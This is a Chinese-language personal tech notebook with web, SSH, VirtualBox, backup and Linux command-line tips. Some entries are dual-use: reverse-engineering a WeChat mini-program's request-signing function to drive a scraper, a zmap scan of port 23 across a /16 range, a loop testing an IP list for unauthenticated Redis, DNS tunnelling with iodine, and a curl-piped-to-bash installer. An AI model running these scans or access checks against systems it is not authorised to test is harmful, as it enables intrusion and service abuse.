    Blob文档:https://developer.mozilla.org/zh-CN/docs/Web/API/Blob

    还可以看看这篇:https://juejin.im/post/59e35d0e6fb9a045030f1f35

         let blob = new Blob(["文档内容"], {
             type: 'text/plain'
         }); // 构造Blob对象
         let a = document.createElement('a'); // 伪造一个a对象
         a.href = window.URL.createObjectURL(blob); // 构造href属性为Blob对象生成的链接
         a.download = "666.txt"; // 文件名称,你可以根据你的需要构造
         a.click() // 模拟点击
         a.remove();
    

    爬取微信小程序 朵朵校友圈

    1. 在分身空间中安装微信,使用HttpCanary抓到wxapkg的url
    2. https://gist.githubusercontent.com/Integ/bcac5c21de5ea35b63b3db2c725f07ad/raw/a4d5f24f4d0102ce864008a86fdcc6e7888205c0/unwxapkg.py 这个工具对小程序解包
    3. 搜索duo_session关键词,找到对应的util.js的addSign,用chrome开发人员工具格式化代码
    4. 看了看整段代码 挺复杂的,懒得用python改写,就保留原样js使用nodejs调用吧
    5. burpsuite验证确实可行

    假设你已经有了addSign方法 那么就提供个http服务给python爬虫调用吧:

    var http = require("http");
    
    function start(port) {
      function onRequest(request, response) {
        var postData = "";
        request.setEncoding("utf8");
    
        request.addListener("data", function(postDataChunk) {
          postData += postDataChunk;
        });
    
        request.addListener("end", function() {
          //console.log(postData);
          console.log("["+new Date().toLocaleString()+"]", request.connection.remoteAddress);
          var data = JSON.parse(postData);
          addSign(data)
          response.writeHead(200, {"Content-Type": "text/html"});
          response.write(JSON.stringify(data));
          response.end();
        });
      }
    
      http.createServer(onRequest).listen(port);
      console.log("Server has started.");
    }
    
    start(8888);
    

    保持特定元素相对于窗口的位置不变

    考虑这样一个场景:一个列表,每一项都可以点击来展开详情div,点击时同时隐藏其他的详情(同一时刻只显示一个)

    发现一个bug:特定情况下(不明原因),用户点击后页面位置发生了变化:前面的一个比较长的div隐藏后,当前的位置跳到了很下面的地方,需要手动翻回去,用户体验极差

    总而言之,进行一些页面DOM操作后,我们想保持特定元素相对于窗口的位置不变

    解决方案:在处理点击event时,先记录event.target相对于window的top位置,在详情div隐藏以及显示后再次记录top位置,这两个位置之间的差值就是需要滚动页面的多少

    当这个差值很小的时候,可以理解为允许的误差,实际没有可见的变化 无需操作

    HTML:
       onclick="handle_click(event)"
    
    JS:
    function fix_position(et, oldt){
        var newt = et.getBoundingClientRect().top;
        if(Math.abs(oldt-newt)<2) return;
        $(window).scrollTop($(window).scrollTop()+newt-oldt);
    }
    
    function handle_click(event){
        var et = event.target;
        var oldt = et.getBoundingClientRect().top;
        //...code for hide and show divs...
        fix_position(et, oldt); //also include this line to callback function if using ajax
    }
    

    Tampermonkey自动填充用户名密码表单,并通过前端的表单检查

    感谢@CoolSpring的解决方案: https://v2ex.com/t/701749

    现代化的前端做了表单检查,直接对input赋值不能通过检查,需要调用被重载的setter函数:

    function mytype(input, value){
        var nativeInputValueSetter = Object.getOwnPropertyDescriptor(window.HTMLInputElement.prototype, "value").set;
        nativeInputValueSetter.call(input, value);
        input.dispatchEvent(new Event('input', {bubbles: true}));
    }
    

    用法:

        mytype(document.querySelectorAll("input")[0], USERNAME);
        mytype(document.querySelectorAll("input")[1], PASSWORD);
    

    使用browserify将npm包打包成浏览器能用的js文件

    浏览器不支持require,怎么在浏览器里使用一个npm包呢? browserify

    示例:我想在tampermonkey里使用user-event这个npm包, 用来完整地模拟用户的交互,这个其实是上一个问题的笨重版本的解决方案

    # 先安装目标库、browserify和terser
    cnpm install @testing-library/user-event @testing-library/dom --save-dev
    cnpm i -g browserify terser
    
    # 写一个main.js导入这个库,导出到window里
    var userEvent = require('@testing-library/user-event');
    window.userEvent = userEvent.default;
    
    # 执行打包
    browserify main.js | terser --compress --mangle > bundle.js
    
    # 在tampermonkey里使用
    // @require      上传到cdn后的js地址
    userEvent.type(document.querySelectorAll("input")[0], USERNAME);
    

    Ubuntu安装nodejs

    curl -fsSL https://deb.nodesource.com/setup_16.x | bash -
    curl -sL https://dl.yarnpkg.com/debian/pubkey.gpg | gpg --dearmor | tee /usr/share/keyrings/yarnkey.gpg >/dev/null
    echo "deb [signed-by=/usr/share/keyrings/yarnkey.gpg] https://dl.yarnpkg.com/debian stable main" | tee /etc/apt/sources.list.d/yarn.list
    apt update && apt install -y nodejs yarn
    
    yarn config set registry https://registry.npm.taobao.org -g
    yarn config set disturl https://npm.taobao.org/dist -g
    yarn config set electron_mirror https://npm.taobao.org/mirrors/electron/ -g
    yarn config set sass_binary_site https://npm.taobao.org/mirrors/node-sass/ -g
    yarn config set phantomjs_cdnurl https://npm.taobao.org/mirrors/phantomjs/ -g
    yarn config set chromedriver_cdnurl https://cdn.npm.taobao.org/dist/chromedriver -g
    yarn config set operadriver_cdnurl https://cdn.npm.taobao.org/dist/operadriver -g
    yarn config set fse_binary_host_mirror https://npm.taobao.org/mirrors/fsevents -g
    
    ================================================ FILE: docs/Jekyll/index.html ================================================ Jekyll - notebook

    Jekyll

    目前本站使用 Github Pages,~~采用Jekyll转换md为html~~,所以有必要记录一下折腾Jekyll的过程咯

    更新:目前已经不再使用Jekyll,改用mkdocs

    碰到过的坑

    1. jekyll 不认 gbk 编码,在转换前需要先将 md 文件编码改为UTF-8

    2. 本地编译通过了,但Github就是不认,于是干脆把编译好的html作为Github Pages

    3. 转换的时候遇到两个大括号之间的东西会自动用Liquid渲染,导致有一条Docker的笔记就丢了东西并抛出了Warning,之前本着不折腾的原则(就是懒),直接写了个compile.sh在jekyll编译过后用py替换了一下(真不优雅23333);现在发现了解决方案,参见本页md文件

    配置代码高亮并显示行号

    代码:

    {% highlight java linenos %}
    public class HelloWorld {
        public static void main(String args[]) {
          System.out.println("Hello World!");
        }
    }
    {% endhighlight %}
    

    效果如下:(由于现在已经不再使用Jekyll,所以看不出了23333)

    {% highlight java linenos %} public class HelloWorld { public static void main(String args[]) { System.out.println(“Hello World!”); } } {% endhighlight %}

    解决Github Metadata Warning

    • 参见http://mycyberuniverse.com/web/fixing-jekyll-github-metadata-warning.html

    在执行build或serve时,会给出这样的Warning:

    GitHub Metadata: No GitHub API authentication could be found. Some fields may be missing or have incorrect data.
    

    解决方法详细版请见上述链接,简要版:在Github的设置中得到一个能访问公开repo的token,用以下命令配置环境变量,其中abc123改为自己的token

    export JEKYLL_GITHUB_TOKEN='abc123'
    

    解决Markdown有序列表被文字间隔的问题

    参考: http://stackoverflow.com/questions/18088955/markdown-continue-numbered-list

    在写3. 之前加入相应的编号控制:

    {:start="3"}
    

    安装Jekyll

    搜索jekyll发现官网https://jekyllrb.com/

    安装过程一点都不简单, 我的系统环境:ubuntu16.04 on win10

    安装命令参考官网及国内镜像 Ruby China,还踩了坑1, 坑2

    apt install -y ruby ruby-dev zlib1g-dev nodejs # 其中zlib是安装依赖nokogiri(这个依赖编译特别慢)所必须的,其中nodejs是需要的javascript运行环境
    gem update --system # 这里请翻墙一下
    gem sources --add https://gems.ruby-china.org/ --remove https://rubygems.org/
    gem install jekyll bundler
    
    # 配置github-pages所需的Gemfile,也使用国内镜像源
    echo """source 'https://gems.ruby-china.org'
    gem 'github-pages', group: :jekyll_plugins""">Gemfile
    bundle install # 耐心等待编译
    
    ================================================ FILE: docs/Links/index.html ================================================ 更多链接 - notebook

    Links Share

    分享一些hacker相关的链接, 包含开发、安全、CTF

    觉得没事干? 不如来逛逛这些地方吧:

    开发类

    Free Programming Books – github.com/vhf/free-programming-books – 编程相关的书籍

    码农翻身微信文章 – mp.weixin.qq.com/s/nCx7Jb5WRXGzkpsuth6LAw

    V2EX – www.v2ex.com

    推酷 – tuicool.com

    掘金 – juejin.im

    PAT – patest.cn – 类似的还有ZOJ, Leetcode等

    安全技能

    知道创宇研发技能表 – blog.knownsec.com

    i春秋 – ichunqiu.com

    合天 – hetianlab.com

    实验楼 – shiyanlou.com

    乌云漏洞库镜像 – loner.fm

    pwnhub – pwnhub.cn

    pwnable – pwnable.kr

    Jarvis OJ – jarvisoj.com

    dnsbllookup – dnsbllookup.com 查询ip是否在黑名单中 其中有两个已经域名过期总是返回Listed

    安全资讯

    FreeBuf – www.freebuf.com

    安全客 – bobao.360.cn

    bugs.chromium.org

    个人博客

    按字母顺序排序

    Aploium Blog – z.codes

    Aqua’s Blog – aqua.hk.cn

    ByStudent – bystudent.com

    火日小站 – www.firesun.me

    free to play - Kira – lovekira.cn

    Jarvis’s Blog – jarviswang.me

    LeadroyaL’s website – www.leadroyal.cn

    Melody有奥妙 – melodia.pw

    notebook – py3.io

    qsboy.com – qsboy.com

    樱桃园 – sakura.moe

    Swing’Blog – bestwing.me – 努力是为了 站在万人中央 成为别人的光

    信鑫-King’s Blog – ycjcl.cc

    850’s Blog – 850.world

    ZJU

    浙江大学课程攻略共享计划 – github.com/QSCTech/zju-icicles

    NexusHD – nexushd.org – 内网pt站点,高清资源

    CC98 – cc98.org – cc98是支持https的噢

    浙大云盘 – pan.zju.edu.cn

    求是潮Box – box.zjuqsc.com

    教务网内网网址 – 10.202.78.12

    教务网的反向代理 – jw.zjuqsc.com

    开源镜像站 – mirrors.zju.edu.cn

    竺院学生会.学习资料 – ckcsu.com

    校招薪水 – ioffershow.com

    服务提供商

    香港VPS – diyvm.com

    腾讯云学生优惠 – qcloud.com

    短信验证码 阿里大于 – alidayu.com

    私有代码托管 – coding.net – 访问速度优于github

    非技术文章

    如何准备技术简历

    技术面试指南

    “他山之石,可以攻玉”——你的大学,怎样过?

    “带着手机上自习,八小时做一道题”


    结语

    代码不能当饭吃,代码不能当水喝,代码也不能给谁生孩子。

    ================================================ FILE: docs/Linux-SSH/index.html ================================================ Linux-SSH - notebook

    SSH

    客户端不同服务器使用不同的id_rsa

    修改.ssh/config:

    Host myshortname realname.example.com
        HostName realname.example.com
        IdentityFile ~/.ssh/realname_rsa # private key for realname
        User remoteusername
    
    Host aliyun
        HostName 1.2.3.4
        IdentityFile ~/.ssh/realname2_rsa
        Port 10022
        User root
    

    然后就能ssh aliyun这样访问1.2.3.4:10022的ssh了,不用修改/etc/hosts

    换个端口开启一个临时的sshd

    which sshd
    /usr/sbin/sshd -oPort=2333
    

    ssh反向代理

    参见:http://www.tuicool.com/articles/UVRNfi

    将本机的22端口转发至外网服务器的2222端口:

    ssh -b 0.0.0.0 -L 2222:127.0.0.1:22 user@ip
    

    注意在运行前需要设置免密码登录以及修改外网服务器的sshd_config,加入GatewayPorts yes


    启用SSH密钥登录后两步验证

    效果:不允许密码登录,使用密钥登录后,需要输入手机Google Authenticator显示的动态验证码

    注意在确定两步登录能成功之前,保持一个SSH连接以免配置出错无法再控制服务器

    第零步,确保自己知道root密码还能物理登录服务器

    第一步,安装Google Authenticator这个包

    apt-get install -y libpam-google-authenticator
    

    第二步,修改/etc/pam.d/sshd

    在顶部(在@include common-auth之前)添加这一行:

    auth sufficient pam_google_authenticator.so
    

    第三步,修改/etc/ssh/sshd_config

    不存在则添加,存在但不同就修改,顺序无关

    PubkeyAuthentication yes
    AuthenticationMethods publickey,keyboard-interactive
    ChallengeResponseAuthentication yes
    PasswordAuthentication no
    UsePAM yes
    

    第四步,创建一个密钥

    google-authenticator
    

    对问题均回答y或者自行决定咯~

    第五步,重启服务以生效

    service ssh restart

    注意它的提问,Verification code问的才是验证码,Password问的是账号密码


    ssh登录禁用默认的信息显示 Ubuntu

    Ubuntu 默认登录后会显示Welcome to Ubuntu等多少软件包可以升级信息,这些信息并不是很重要,却会拖慢ssh登录的速度

    禁用方法如下:From: https://ubuntuforums.org/showthread.php?t=1449020

    编辑这两个文件:/etc/pam.d/login, /etc/pam.d/sshd,找到其中包含pam_motd的行,注释掉之后 service ssh reload

    以后再登录ssh就不用等待了

    ssh config里直接指定端口转发

    参考: https://www.ssh.com/academy/ssh/tunneling/example

    在本地访问远程

    LocalForward 5901 computer.myHost.edu:5901
    

    等价于-L 5901:computer.myHost.edu:5901,将远程的5901端口映射到本地

    在远程访问本地

    RemoteForward 1234 127.0.0.1:3421
    

    这样等价于-R 1234:127.0.0.1:3421,让远程服务器可以通过访问127.0.0.1:1234来访问到客户端的3421

    如果需要允许这个转发的1234端口对外提供访问,还需要修改服务器的sshd_config,设置GatewayPorts yes

    普通用户启动第二个sshd

    参考: - https://serverfault.com/questions/344295/is-it-possible-to-run-sshd-as-a-normal-user - https://serverfault.com/questions/471327/how-to-change-a-ssh-host-key

    以下使用~/.ssh文件夹存放Host key

    mkdir ~/.ssh -p
    ssh-keygen -q -N "" -t dsa -f ~/.ssh/ssh_host_dsa_key
    ssh-keygen -q -N "" -t rsa -b 4096 -f ~/.ssh/ssh_host_rsa_key
    ssh-keygen -q -N "" -t ecdsa -f ~/.ssh/ssh_host_ecdsa_key
    ssh-keygen -q -N "" -t ed25519 -f ~/.ssh/ssh_host_ed25519_key
    cp /etc/ssh/sshd_config ~/.ssh/
    

    编辑~/.ssh/sshd_config文件,修改这些项目:

    • UsePrivilegeSeparation no
    • UsePAM no
    • HostKey ~/.ssh/ssh_host_rsa_key <-需要替换为绝对路径
    • Port 2222
    • PasswordAuthentication no

    然后启动sshd进程:(如果登录不了加上-d看调试信息)

    /usr/sbin/sshd -f ~/.ssh/sshd_config
    

    登录的时候需要使用ssh key登录,因为sshd并不能读取/etc/shadow

    ================================================ FILE: docs/Linux-VirtualBox/index.html ================================================ Linux-VirtualBox - notebook

    VirtualBox

    参考 https://www.howtoforge.com/tutorial/running-virtual-machines-with-virtualbox-5.1-on-a-headless-ubuntu-16.04-lts-server/

    在linux终端下使用VBoxManage和VBoxHeadless创建、启动、控制一个Ubuntu14.04 64Bit的虚拟机

    下载

    http://www.virtualbox.org/wiki/Downloads

    从官网找到对应的rpm或deb下载即可

    rpm文件的安装:

    rpm -ivh something.rpm

    deb文件的安装

    dpkg -i something.rpm

    执行dpkg -i后需要执行apt-get -f install以安装缺失的依赖包

    一定要安装额外包

    cd /tmp
    wget http://download.virtualbox.org/virtualbox/5.1.16/Oracle_VM_VirtualBox_Extension_Pack-5.1.16-113841.vbox-extpack
    sudo VBoxManage extpack install Oracle_VM_VirtualBox_Extension_Pack-5.1.16-113841.vbox-extpack
    

    创建虚拟机,设置虚拟机选项

    mkdir -p /home/virtualbox
    VBoxManage createvm --name ubuntu --ostype "Ubuntu_64" --register --basefolder /home/virtualbox/
    VBoxManage createvdi  --filename ubuntu/ubuntu.vdi --size 102400 # 100GB
    VBoxManage storagectl ubuntu --name storage_controller_1 --add ide
    VBoxManage storageattach ubuntu --storagectl storage_controller_1 \
        --type hdd --port 0 --device 0  --medium ubuntu/ubuntu.vdi
    VBoxManage storageattach ubuntu --storagectl storage_controller_1 \
        --type dvddrive --port 1 --device 0 --medium ubuntu-14.04.4-server-amd64.iso
    VBoxManage modifyvm ubuntu --cpus 4 --memory 2048 --acpi on --boot1 dvd --nic1 nat --cableconnected1 on --vrde on --vrdeport 3389
    

    以下是我安装CentOS 6.8 32bit minimal的过程

    pushd /root
    curl -O http://mirrors.zju.edu.cn/centos/6.8/isos/i386/CentOS-6.8-i386-minimal.iso
    mkdir /home/virtualbox
    #看看ostype支持哪一些,结果发现有RedHat,就选它咯
    VBoxManage list ostypes
    VBoxManage createvm --name centos --ostype "RedHat" --register --basefolder /home/virtualbox/
    pushd /home/virtualbox
    VBoxManage createvdi  --filename centos/disk.vdi --size 2048 # 2GB
    VBoxManage storagectl centos --name storage_controller_1 --add ide
    VBoxManage storageattach centos --storagectl storage_controller_1 --type hdd --port 0 --device 0  --medium centos/disk.vdi
    VBoxManage storageattach centos --storagectl storage_controller_1 --type dvddrive --port 1 --device 0 --medium /root/CentOS-6.8-i386-minimal.iso
    #配置CPU和内存限制,光驱启动,允许多个客户端连接
    VBoxManage modifyvm centos --cpus 1 --memory 512 --acpi on --boot1 dvd --nic1 nat --cableconnected1 on --vrde on --vrdeport 13389 --vrdemulticon on
    

    启动虚拟机

    nohup VBoxHeadless -startvm ubuntu --vrde on -e  TCP/Ports=63389 &
    

    控制虚拟机

    Windows下使用mstsc远程连接即可获得一个图形界面的终端完成系统安装

    删除硬盘

    VBoxManage storageattach centos --storagectl storage_controller_1 --type hdd --port 0 --device 0  --medium none
    VBoxManage closemedium centos/disk.vdi
    rm centos/disk.vdi
    

    运行条件下修改端口映射

    # 首先通过mstsc物理接触虚拟机,确认ifconfig已经得到ip
    # 否则需要在虚拟机中执行 ifconfig -a 查看网卡,执行 dhclient eth0 获得ip
    
    # 例如我们需要将虚拟机的22端口映射出10022端口
    # 最后一个参数的格式:规则名称,tcp还是udp,主机的IP(不填就好),主机暴露出来的端口,虚拟机的IP(不填就好),需要映射的虚拟机端口
    VBoxManage controlvm 虚拟机名称 natpf1 ssh,tcp,,10022,,22
    

    运行条件下关闭远程控制

    系统安装好了,SSH开了,SSH的端口映射可以连上去了,就可以关掉远程控制了

    VBoxManage controlvm 虚拟机名称 vrde off
    

    屏幕截图

    VBoxManage controlvm <vm name> screenshotpng /tmp/<filename>.png
    

    优雅的关机

    vboxmanage controlvm 虚拟机名称 poweroff soft
    

    开启vrde远程桌面

    似乎需要先关机才能操作

    VBoxManage modifyvm "VM name" --vrdeextpack default
    VBoxManage modifyvm "VM name" --vrde on
    VBoxManage modifyvm "VM name" --vrdeport 3391
    VBoxManage modifyvm "VM name" --vrdeaddress 0.0.0.0
    

    从硬盘+快照vdi文件恢复

    假设备份的时候只复制了硬盘vdi文件和Snapshots的vdi文件,而忘记了备份vbox文件,如何恢复快照关系呢

    找到 https://superuser.com/questions/1224554/recreate-virtualbox-machine-with-snapshots ,思路是创建个新的虚拟机 从base vdi开始打快照->编辑vbox将新的Snapshot指向下一个快照->继续打快照重复

    其中就需要我们搞清楚快照的依赖关系,看文件修改的时间戳差不多可以知道,但如果没有这种信息也不必按照人家说的一个个加载尝试,可以使用这篇说到的VBoxManage internalcommands dumphdinfo来查看每个快照文件的parent是谁。

    ================================================ FILE: docs/Linux-backup/index.html ================================================ Linux-backup - notebook

    备份 备份 备份!

    一个良好安全的备份计划至关重要,备份脚本应该导出数据库、压缩日志和动态产生的数据文件,加密后上传至其他服务器或CDN


    Demo

    下面的例子涉及到date、docker、tar、zip、七牛qshell命令的使用

    # !/bin/bash
    pushd 工作目录
    d=`date +%Y%m%d`
    mkdir bakup$d
    cd bakup$d
    (docker exec 容器名称 mysqldump -p密码 数据库名称) >database.sql
    tar cvzf log.tar.gz ../log # 压缩log目录
    cd ../
    # 使用zip加密压缩,压缩后删除原文件
    zip -r -P 压缩密码 -m bakup$d.zip bakup$d/
    # 使用七牛的qshell上传备份文件,运行前需要配置账号qshell account 你的AK 你的SK
    # 下面这条命令表示将bakup$d.zip上传,CDN上存储的文件名为$d.zip
    ./qshell fput 你的bucket的名称 $d.zip bakup$d.zip
    # 如果你放心可以本地彻底删掉备份文件:
    # rm -r bakup$d.zip
    

    用rsync代替scp

    rsync可以断点续传,不如就用rsync代替scp

    参考:https://www.digitalocean.com/community/tutorials/how-to-copy-files-with-rsync-over-ssh

    首先需要ssh-keygen生成id_rsa,把id_rsa.pub的内容复制到目标机器的~/.ssh/authorized_keys

    在需要使用scp -r的地方改为rsync -avz -e “ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null” –progress


    tar备份整个系统

    比如通过远程ssh的方式下载到服务器的整个根目录打包:

    ssh server tar -cvpz --one-file-system / > server_backup.tar.gz
    

    其中:

    • c 创建
    • v 压缩时显示详情 当前处理的文件
    • p preserve-permissions保留权限信息
    • z 使用gzip压缩

    使用rsync像time machine一样全盘备份

    https://github.com/laurent22/rsync-time-backup

    例如将Linux服务器多个硬盘所有文件备份到/nas/hostname下面

    先从github下载这个rsync_tmbackup.sh文件,删掉其中的--one-file-system,放入/nas目录

    将需要忽略的目录写成/nas/rsync_ignore.txt,例如:(注意忽略了/mnt)

    - /boot
    - /dev
    - /lost+found
    - /media
    - /mnt
    - /nas
    - /nfs
    - /proc
    - /snap
    - /sys
    - /tmp
    

    然后就执行呗:

    mkdir -p /nas/hostname
    touch /nas/hostname/backup.marker
    /nas/rsync_tmbackup.sh / /nas/hostname/ /nas/rsync_ignore.txt
    

    好处是不用自己构造rsync各种复杂的参数,备份的效果是每次备份都会产生一个文件夹,但上次备份时已经存在的文件只会做硬链接

    rsync备份到非root用户的目标机器上

    参考: https://serverfault.com/questions/755753/preserve-ownership-with-rsync-without-root

    全盘备份希望能保留文件的属性,如果目标位置没有root用户则不能直接保留,rsync提供了--fake-super这个选项

    这个--fake-super选项启用后,rsync会把属性以特殊拓展属性的方式存储,恢复的时候rsync会利用这个属性进行恢复

    rsync备份安卓手机

    参考: http://ptspts.blogspot.com/2015/03/how-to-use-rsync-over-adb-on-android.html

    首先保证手机的usb调试开启了,adb shell能进入手机,在Linux主机上执行:

    # 将rsync二进制发给手机
    wget -O rsync.bin http://github.com/pts/rsyncbin/raw/master/rsync.rsync4android
    adb push rsync.bin /data/local/tmp/rsync
    adb shell chmod 755 /data/local/tmp/rsync
    adb shell /data/local/tmp/rsync --version
    
    # 在安卓上启动rsync server 监听在1873端口转发到Linux的6010端口
    adb shell 'exec >/sdcard/rsyncd.conf && echo address = 127.0.0.1 && echo port = 1873 && echo "[root]" && echo path = / && echo use chroot = false && echo read only = false'
    adb shell /data/local/tmp/rsync --daemon --no-detach --config=/sdcard/rsyncd.conf --log-file=/proc/self/fd/2
    # 再启动一个终端继续
    adb forward tcp:6010 tcp:1873
    
    # 复制整个/sdcard目录
    rsync -avzP --stats rsync://localhost:6010/root/sdcard/ .
    
    ================================================ FILE: docs/Linux-cli/index.html ================================================ Linux-cli - notebook

    Linux命令行操作技巧

    本文档一般不涉及root权限,Linux相关笔记还有:

    Linux系统配置

    SSH远程登录

    Linux备份


    查看内置命令的帮助

    将以下内容加入~/.bashrc中即可,判断如果在内置命令就调用help -m,不是则绕开bash函数来运行man进程

    man () {
        case "$(type -t -- "$1")" in
        builtin|keyword)
            help -m "$1" | sensible-pager
            ;;
        *)
            command man "$@"
            ;;
        esac
    }
    

    grep搜索帮助文档

    用两个横线--作为grep的第一个参数表示不要把其后面的形如-z的参数当成grep的参数

    例如我想知道tar命令中的-z是什么意思:

    man tar|grep -- -z
    

    帮助文本的grep,把stderr重定向到stdout

    某些时候帮助文本是输出到标准错误输出的,需要用2>&1这样的重定向咯

    ssh-keygen --help 2>&1|grep bit
    

    各种解压命令

    tar.gz: tar -zxvf xx.tar.gz

    tar.bz2: tar -jxvf xx.tar.bz2

    zip:unzip xx.zip

    参数含义:

    -x解压,-v详细显示解压出来的东西(如果是一个复杂的压缩包建议不要用以加快解压速度),-f后接压缩文件的文件名


    当前目录文件全文搜索

    这里要搜索当前目录下面所有的包含”MultiTeam”文件

    grep MultiTeam -r .
    

    统计当前文件夹代码行数

    find 指定文件后缀名,记住要引号避免bash解析*

    find -name "*.py" -o -name "*.md"|xargs cat|wc
    

    查看给定文件列表的文件大小

    用xargs -d指定分隔符为\n(默认会按照空格和\n分隔参数)

    cat list.txt | xargs -d "\n" ls -alh
    

    wget慢慢下载

    wget -i list.txt  -nc --wait=60 --random-wait
    

    其中nc表示已经下载到的文件就不要再请求了,wait=60表示两次请求间隔60s,random-wait表示随机等待2~120s


    touch修改时间戳

    将b.txt的时间戳改为和a.txt一样

    touch -r a.txt b.txt
    

    去掉Ubuntu默认情况下ls的颜色

    unalias ls
    

    或者直接使用:Credits @rachpt

    \ls
    

    同理也可以绕过grep的alias: \grep


    换行方式修改

    如果一个文件来自于Windows,可能需要先修改换行方式才能用,去掉文件中的\r

    vim中输入 :set ff=unix


    iodine–使用DNS传输数据

    • http://code.kryo.se/iodine/

    注意: 本方案网速极低,使用时要有足够的耐心,不能保证复杂情况下是否可行(尤其是Windows)

    前期准备:一个域名(假设为example.com)及一台服务器(假设为1.2.3.4),建议客户端在Linux上运行

    1. 设置域名解析

    dns.example.com添加一条A记录,解析至1.2.3.4

    t.example.com添加一条NS记录,值为dns.example.com

    2. 服务器端

    ./iodined -f -c -P secretpassword 192.168.99.1 t.example.com
    

    -f表示持续占用前台,-c表示不限制请求源,-P指定密码,最后是内网IP和使用的域名

    内网IP可以随意指定,只要当前服务器没有占用即可,例如可以改为172.16.0.1

    3.检查服务端是否正常

    http://code.kryo.se/iodine/check-it/

    作者提供了在线检查工具,输入t.example.com即可检查

    4.客户端

    建议在ubuntu等完整的Linux操作系统上运行,下载源码后make即可

     ./iodine -f -P secretpassword t.example.com
    

    效果图:


    远程控制Windows

    Windows下有自带的mstsc,Linux如树莓派用啥呢?就用rdesktop

    手册查询用man rdesktop

    快速使用:

    sudo apt-get install -y rdesktop
    rdesktop -f -k en-us -C -N -z -xl -P -u 用户名 -p 密码 服务器地址:端口
    

    其中-f表示全屏, -k设置键盘布局, -C使用私有颜色表,-N同步NumLock,-z启用压缩,-xl 设置为LAN场景,-P使用bitmap缓存

    注意上述在命令行中使用明文密码并不安全,可能被其他用户用ps等工具看到,建议仅仅在完全自己控制的Linux上系统上这样操作


    统计以特定字符串开头的文件数目

    awk是个很好用的工具呢,支持substr函数,用法为substr(源字符串,开始,长度),其中开始从1计数

    ls -l 长列表显示的话,按空格分就是$9

    ls -l|awk '{if(substr($9,1,字符串长度)=="你要的那个字符串") print $9}'|sort|uniq|wc -l
    

    hexdump查看字符内部编码

    echo的-n参数表示不要末尾加\n

    echo -n hello | hexdump -C
    

    子目录大小排序

    sort的-h表示按人类理解的大小格式排序,-r表示逆序

    du -sh * | sort -hr
    

    安装ffmpeg

    在ubuntu14下是没有ffmpeg的官方包支持的,需要添加mc3man的ppa

    sudo add-apt-repository ppa:mc3man/trusty-media
    #按回车继续
    sudo apt-get update
    sudo apt-get install -y ffmpeg
    

    保证脚本安全执行set -ex

    set命令挺有用的呢,-e表示如果后面的语句返回不为0立刻结束shell,-x表示显示出每条命令及参数

    人家的Dockerfile中学习得来


    change readonly bash variable

    bash is a weird thing…

    declaring a variable as reference by using declare -n, we can change it!

    $ a=1
    $ readonly a
    $ a=2
    bash: a: readonly variable
    #Look here!
    $ declare -n a
    $ a=2
    $ echo $a
    2
    

    永久等待 sleep infinity

    有时写了一个sh文件后需要保持这个sh的运行,就用sleep永久等待好咯

    sleep infinity
    

    zmap扫描整个网段特定开放端口

    zmap的运行需要root权限,用apt-get install zmap即可安装

    更详细的帮助去看看zmap --help

    #需要先编辑黑名单 vi /etc/zmap/blacklist.conf 取消掉注释
    zmap 192.168.0.0/16 -B1000M -i eth0 -g -T 4  -p 23 -o 23.txt
    

    其中-g表示扫描结束后显示总结,-T 4表示启动4个扫描线程,-p 23表示扫描23端口,-o保存文件的名称

    如果拨号了vpn,需要用-G指定网关的MAC地址,可以通过arp 网关的IP得到


    对ip列表批量测试redis未授权漏洞

    for i in `cat iplist.txt`; do (if [ `echo PING|redis-cli -h $i` == "PONG" ] ;then echo $i;fi);done 2>/dev/null
    

    利用了bash支持的for语句,注意for之后的分号和最后的done

    还有用了if字符串相等,记得要用fi结束if

    redis-cli连接上服务器后发送PING,如果存在未授权访问漏洞则会返回PONG,否则会要求Auth或者其他报错信息


    使用ImageMagick对图像进行裁剪

    安装命令:sudo apt-get install -y imagemagick

    处理一张图片in.png,裁剪成300x280大小,从(30,0)作为裁剪的左上角点,得到out.png:

    convert in.png -crop 300x280+30+0 out.png
    

    其实这四个参数是我反复尝试二分法得到的,或许可以用专业软件快速得到吧

    关键是可以批量处理呀,这里下载friends的头像图片进行处理:

    for i in {1..79}; do curl -o $i.png http://kemono-friends.jp/wp-content/uploads/2016/11/no`printf "%03d" $i`.png --proxy socks5://127.0.0.1:1080; done
    for i in {1..79}; do convert $i.png -crop 300x280+30+0 $i.png; done
    

    其中使用了printf命令,可以使得1变成人家url需要的001


    查找0字节的文件并删除

    find . -size 0 -delete
    

    查找大于100M的文件:find . -size +100M


    批量修改文件后缀名

    将当前目录下(包含子目录)所有的txt文件改为.newext后缀:

    find . -name "*.txt" -exec rename 's/.txt$/.newext/' {} \;
    

    如果curl下载的时候允许gzip但忘了–compressed得到的文件是gzip压缩的,修改当前文件夹所有.txt为.txt.gz,然后解压缩:其中rename -v表示显示修改的列表

    rename -v 's/.txt$/.txt.gz/' *.txt
    gunzip *.gz
    

    用vim去除\r换行符

    用vim打开文件后,输入以下内容,冒号也是需要按的

    :set ff=unix
    :wq
    

    不用free查看内存占用

    在docker容器内部一般是不能通过free -h来查看真实占用的内存的,这时候可以采用ps aux累加RSS字段来估计:

    ps aux | awk '{sum+=$6} END {print sum / 1024}'
    

    watch持续观察命令输出

    例如我想持续查看output.txt文件大小:

    watch -n 1 ls -l output.txt
    

    其中-n 1表示每隔1s刷新一次

    这个命令等价于自己写个bash脚本:

    #! /bin/bash
    while [ 1 ]
    do
     # do your work here...
     sleep 1
     clear
    done
    

    树莓派2上编译Truecrypt 7.1a,使用make -j5 -l4加速编译

    参照http://davidstutz.de/installing-truecrypt-raspbian/,一步步来就行啦

    具体步骤如下,其中make使用参数-j5 -l4表示同时执行5个编译但限制系统负载<4(因为编译过程很慢,直接make只会使用1个CPU,这样设置后可以充分利用树莓派4核心CPU):

    涉及的压缩包truecrypt-targz.zipwxWidgets-2.8.11.zippkcs.zip

    apt-get install -y unzip build-essentials pkg-config gtk2.0-dev libfuse-dev
    #用unzip解压压缩包,都解压到/root下,目录结构:
    # /root
    #  | - truecrypt-targz
    #  | - wxWidgets-2.8.11
    #  | - pkcs
    
    cd wxWidgets-2.8.11
    ./configure
    make -j5 -l4 #特别慢,耐心等待
    make -j5 -l4 install
    
    cd ../truecrypt-targz
    export PKCS11_INC=/root/pkcs/
    make -j5 -l4 NOGUI=1 WX_ROOT=/root/wxWidgets-2.8.11 wxbuild
    make -j5 -l4 NOGUI=1 WXSTATIC=1
    
    Main/truecrypt --version #输出TrueCrypt 7.1a
    cp Main/truecrypt /usr/local/bin/
    

    你也可以下载我已经编译好的版本truecrypt-armv7l


